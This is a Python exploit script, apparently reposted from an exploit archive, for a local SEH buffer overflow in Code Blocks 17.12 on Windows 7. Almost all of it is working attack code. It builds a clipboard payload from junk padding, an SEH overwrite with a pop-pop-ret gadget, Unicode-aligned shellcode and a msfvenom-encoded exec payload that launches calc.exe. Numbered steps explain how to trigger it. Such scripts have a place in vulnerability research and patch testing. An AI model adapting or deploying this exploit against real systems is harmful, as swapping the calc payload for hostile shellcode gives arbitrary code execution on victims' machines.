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Code Blocks 17.12 - Local Buffer Overflow (SEH) (Unicode) Exploit
[#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Code Blocks 17.12 - Local Buffer Overflow (SEH)(Unicode)
# Date: 01-10-2019
# Vulnerable Software: Code Blocks 17.12
# Vendor Homepage: http://www.codeblocks.org/
# Version: 17.12
# Software Link:
# http://sourceforge.net/projects/codeblocks/files/Binaries/17.12/Windows/codeblocks-17.12-setup.exe
# Tested Windows 7 SP1 x86
#
#
# PoC
# 1. generate codeblocks.txt, copy contents to clipboard
# 2. open cold blocks app
# 3. select File, New, Class
# 4. paste contents from clipboard into Class name
# 5. select Create
# 6. pop calc
#
filename = "codeblocks.txt"
junk = "A"*1982
nseh = "\x61\x62"
#0x005000e0 pop edi # pop ebp # ret | startnull,unicode {PAGE_EXECUTE_READ} [codeblocks.exe]
seh = "\xe0\x50"
nops = "\x47"*10
valign = (
"\x53" #push ebx
"\x47" #align
"\x58" #pop eax
"\x47" #align
"\x47" #align
"\x05\x28\x11" #add eax
"\x47" #align
"\x2d\x13\x11" #sub eax
"\x47" #align
"\x50" #push eax
"\x47" #align
"\xc3" #retn
)
nops_sled = "\x47"*28
#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
#Payload size: 517 bytes
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1A"
"IQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXDBM0KPKP1PU9ZE01I0RD4KPPP0DK0RLL4KB2MD4KRRN"
"HLO6WOZNFP1KOFLOLC13LKRNLMPI18OLMM17W9RKBB21GTKPRLPDKPJOL4K0LN1RXZCPHKQZ1PQ4K29O0KQXS4KOY"
"N8YSOJOYDKNT4KKQXV01KOFLY18OLMM1GWOH9PSEKFM3SMZXOKSMNDT5ITPXDKPXMTKQ8SC6TKLL0KTKPXMLM1YCD"
"KLDTKM1J0SYOTMTMTQKQKS10YQJB1KOIPQO1OQJ4KMBZK4MQM2JKQ4MTEX2KPKPKPPP2HP1TKBOTGKOZ5GKJP6UVB"
"0V2HW65EGM5MKO8UOLLFSLLJU0KKIPRUKUWK0GMCCBRORJKPB3KOIE2CC1RLQSNNQU2X35M0AA")
fill = "D"*10000
buffer = junk + nseh + seh + nops + valign + nops_sled + calc + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
# 0day.today [2024-11-15] #